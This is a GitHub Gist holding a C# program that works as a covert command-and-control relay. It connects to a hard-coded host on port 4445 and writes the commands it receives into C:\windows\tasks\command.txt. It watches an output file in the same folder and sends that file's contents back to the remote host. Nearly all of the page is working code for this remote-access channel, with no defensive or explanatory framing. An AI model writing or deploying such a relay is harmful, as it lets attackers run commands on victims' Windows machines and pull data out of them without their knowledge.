Created
July 8, 2024 09:26
-
-
Save 2S1one/944f0ec7fe4cd209edc7db08d8bd52d1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.Net; | |
using System.Text; | |
using System.Net.Sockets; | |
namespace tcp_client_file_write | |
{ | |
internal class Program | |
{ | |
static string ip = "192.168.0.103"; | |
static int port = 4445; | |
static int connectAttempts = 5; | |
// TCP -> FILE -> TCP | |
// fromTCP -> toFile -> fromFile -> toTCP | |
static TcpClient tcpClient; | |
static FileSystemWatcher watcher; | |
static FileStream fileOutStream; | |
static FileStream fileInStream; | |
static Stream tcpStream; | |
static StreamReader fromTCP; | |
static StreamWriter toFile; | |
static StreamReader fromFile; | |
static StreamWriter toTCP; | |
static string watcherDir = "C:\\windows\\tasks"; | |
static string fileIn = "C:\\windows\\tasks\\command.txt"; | |
static string fileOut = "C:\\Windows\\tasks\\output.txt"; | |
static void Main(string[] args) | |
{ | |
createFile(fileOut); | |
createFile(fileIn); | |
try | |
{ | |
using (TcpClient tcpClient = TcpConnect(ip, port)) | |
{ | |
tcpStream = tcpClient.GetStream(); | |
using (fromTCP = new StreamReader(tcpStream, Encoding.UTF8)) | |
{ | |
using (toTCP = new StreamWriter(tcpStream, Encoding.UTF8)) | |
{ | |
startWatcher(watcherDir, "output.txt"); | |
string cmd; | |
while (true) | |
{ | |
try | |
{ | |
cmd = fromTCP.ReadLine(); | |
writeToFile(fileIn, cmd); | |
} | |
catch { break; } | |
} | |
} | |
} | |
} | |
} catch (Exception ex) | |
{ | |
System.Environment.Exit(100); | |
} | |
} | |
public static void createFile(string filePath) | |
{ | |
try | |
{ | |
FileStream fs = File.OpenWrite(filePath); | |
fs.SetLength(0); | |
fs.Close(); | |
} | |
catch | |
{ | |
//System.Environment.Exit(1); | |
return; | |
} | |
} | |
public static void writeToFile(string filePath, string data) | |
{ | |
int attempts = 60; | |
int interval = 100; | |
while (attempts > 0) | |
{ | |
try | |
{ | |
File.WriteAllText(filePath, data); | |
break; | |
} | |
catch (Exception ex) | |
{ | |
System.Threading.Thread.Sleep(interval); | |
attempts--; | |
if (attempts == 0) | |
{ | |
System.Environment.Exit(1); | |
} | |
} | |
} | |
} | |
public static void startWatcher(string dir, string filter) | |
{ | |
try | |
{ | |
watcher = new FileSystemWatcher(dir); | |
watcher.NotifyFilter = NotifyFilters.Attributes | | |
NotifyFilters.CreationTime | | |
NotifyFilters.FileName | | |
NotifyFilters.LastWrite | | |
NotifyFilters.Security | | |
NotifyFilters.Size; | |
watcher.Filter = filter; | |
watcher.Changed += new FileSystemEventHandler(OnChanged); | |
watcher.EnableRaisingEvents = true; | |
} | |
catch (Exception ex) | |
{ | |
watcher.Dispose(); | |
System.Environment.Exit(1); | |
} | |
} | |
public static TcpClient TcpConnect(string ip, int port) | |
{ | |
TcpClient client = new TcpClient(); | |
while (connectAttempts != 0) | |
{ | |
try | |
{ | |
client.Connect(ip, port); | |
break; | |
} | |
catch (Exception ex) | |
{ | |
System.Threading.Thread.Sleep(5000); | |
connectAttempts--; | |
if (connectAttempts == 0) | |
{ | |
client.Close(); | |
System.Environment.Exit(1); | |
} | |
} | |
} | |
return client; | |
} | |
public static void OnChanged(object source, FileSystemEventArgs e) | |
{ | |
watcher.EnableRaisingEvents = false; | |
int attempts = 60; | |
int interval = 100; | |
string data; | |
while (attempts > 0 ) | |
{ | |
try | |
{ | |
System.Threading.Thread.Sleep(interval); | |
data = File.ReadAllText(fileOut); | |
File.WriteAllText(fileOut, string.Empty); | |
byte[] info = new UTF8Encoding(true).GetBytes(data); | |
//Console.WriteLine(toTCP.ToString()); | |
//toTCP.WriteLine(data); | |
//toTCP.Flush(); | |
tcpStream.Write(info, 0, info.Length); | |
tcpStream.Flush(); | |
watcher.EnableRaisingEvents = true; | |
break; | |
} catch (Exception ex) | |
{ | |
//Console.WriteLine("can open ficking file"); | |
//Console.WriteLine(ex.Message); | |
System.Threading.Thread.Sleep(interval); | |
attempts--; | |
if (attempts == 0) | |
{ | |
data = ""; | |
watcher.EnableRaisingEvents = true; | |
} | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment